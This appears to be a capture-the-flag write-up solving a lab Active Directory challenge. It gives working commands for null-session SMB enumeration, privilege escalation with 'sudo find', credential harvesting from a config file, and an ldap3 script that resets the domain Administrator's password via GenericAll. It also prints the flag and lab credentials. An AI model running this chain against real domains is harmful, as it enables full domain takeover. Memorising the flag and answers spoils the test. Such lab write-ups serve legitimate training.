Writeup Oct 13, 2026

CAPITOL: Active Directory Lateral Movement - writeup

From a foothold on Angel, work inward: the box holds the keys to the domain, and the domain controller CAPITOL trusts an account it shouldn't.

nizarski Oct 13, 2026 4 min lesing 100 3

CAPITOL: Active Directory Lateral Movement - solution

Flag: HackFury{db30f1b3eddf89cb30bb75007d4bd49b}
Facilitator creds: webops SSH Sp1ng2024#deploy (leaked via the anon share); jsmith Finance#Sync99 (leaked via /opt/appsync/sync.conf - also holds GenericAll on Administrator); Domain Administrator's password is reset by the player, no fixed value to leak

Intended path

Initial access is NOT the web (no web app is shipped). It is an unauthenticated SMB share left open in a migration.

  1. Enumerate, then read the open share - a null SMB session finds a deploy share; the runbook on it leaks the ops SSH credential (endpoint, share, and file are all discovered, not guessed):
  • List item LIST shares. -L lists shares only - do NOT hang a share path or -c off it:

smbclient -N -L //ANGEL # -> deploy Disk Deployment artifacts

  • List item CONNECT to the share (drop -L), list it, then pull the file:
   smbclient -N //ANGEL/deploy -c 'ls'           # -> README-DEPLOY.txt
   smbclient -N //ANGEL/deploy -c 'get README-DEPLOY.txt -'
   #   ssh webops@angel   password: Sp1ng2024#deploy
   #   ...nightly sync bind settings live under /opt/appsync/ (root-only)

-L //host enumerates shares; //host/deploy connects to one - two different invocations. ANGEL = the host's IP or a resolvable name.

  1. Foothold -
   ssh webops@ANGEL          # password: Sp1ng2024#deploy
   sudo -l                   # (root) NOPASSWD: /usr/bin/find

  1. Privesc (GTFOBins) -

sudo find . -exec /bin/sh \; -quit
gives a root shell.

  1. Credential discovery - don't guess the path; find the nightly AD sync job the scenario mentions and read the config it loads (systemctl cat '*sync*', ls /opt, or grep -rl 'bind_' /opt /etc 2>/dev/null), landing on /opt/appsync/sync.conf:
   bind_dn=jsmith@horizon.local
   bind_pw=Finance#Sync99
   ldap_server=capitol.horizon.local
  1. Realise jsmith is over-privileged - a routine sync account shouldn't be able to touch the built-in Administrator, so check. The usual ACL-read tools do NOT work against this Samba DC (both request Microsoft-proprietary LDAP controls Samba rejects): impacket dacledit.py -action read → "session terminated by server"; bloodyAD get writable → "unavailableCriticalExtension ... control '1.2.840.113556.1.4.2065'". Don't take that as a dead end - the write itself needs no special control, so just attempt the reset and let it prove the right. The permission jsmith holds here is GenericAll (full control) over CN=Administrator,CN=Users,DC=horizon,DC=local.
  1. GenericAll abuse → reset Administrator's password. Rewriting unicodePwd must go over an encrypted channel (LDAPS/636). Against this Samba DC, bind with a plain LDAP SIMPLE bind over LDAPS using jsmith's UPN - NTLM binds (ldap3 NTLM, bloodyAD default) get rejected with strongerAuthRequired or terminate the session. A tiny ldap3 script is the reliable path (set impacket env up first: python3 -m venv env && . env/bin/activate && pip install ldap3). Use a password with no shell-special characters (! triggers bash history expansion and silently corrupts the value):
   import ssl, ldap3
   tls = ldap3.Tls(validate=ssl.CERT_NONE)
   server = ldap3.Server('<capitol-ip>', port=636, use_ssl=True, tls=tls)
   conn = ldap3.Connection(server, user='jsmith@horizon.local',
       password='Finance#Sync99', authentication=ldap3.SIMPLE, auto_bind=True)
   new_pw = '"N3wAdm1nPass2026xyz"'.encode('utf-16-le')   # quotes required, UTF-16LE
   conn.modify('CN=Administrator,CN=Users,DC=horizon,DC=local',
               {'unicodePwd': [(ldap3.MODIFY_REPLACE, [new_pw])]})
   print(conn.result)   # {'result': 0, 'description': 'success', ...}

result: 0 means the reset took - only possible because GenericAll let jsmith rewrite the attribute. No Kerberos TGS, no MS-DRSR replication anywhere.

  1. Log in as Administrator → flag (specify the HORIZON domain explicitly):

smbclient -U 'HORIZON\Administrator%N3wAdm1nPass2026xyz' //<capitol-ip>/it-vault -c 'get flag.txt -'

Proof it works

VERIFIED end to end against a live CCS deploy (2026-10-03). Full chain
solved: SMB leak → SSH (webops) → sudo find → root → /opt/appsync (jsmith) → GenericAll → LDAPS unicodePwd reset → SMB as Administrator → flag.

Final two steps, real output:

$ python3 reset.py                      # the ldap3 SIMPLE-bind script from step 6
bound: True
{'result': 0, 'description': 'success', 'dn': '', 'message': '00000000: Success',
 'referrals': None, 'type': 'modifyResponse'}

$ smbclient -U 'HORIZON\Administrator%N3wAdm1nPass2026xyz' //10.64.0.66/it-vault -c 'get flag.txt -'
HackFury{db30f1b3eddf89cb30bb75007d4bd49b}
getting file \flag.txt of size 43 as - (21.0 KiloBytes/sec)

Diskusjon

0 kommentarer

Logg inn for å kommentere, svare og nevne skribenten eller andre lesere med @.

  1. Laster kommentarer...

Utforsk flere innlegg i bloggarkivet, eller bli med og skriv dine egne.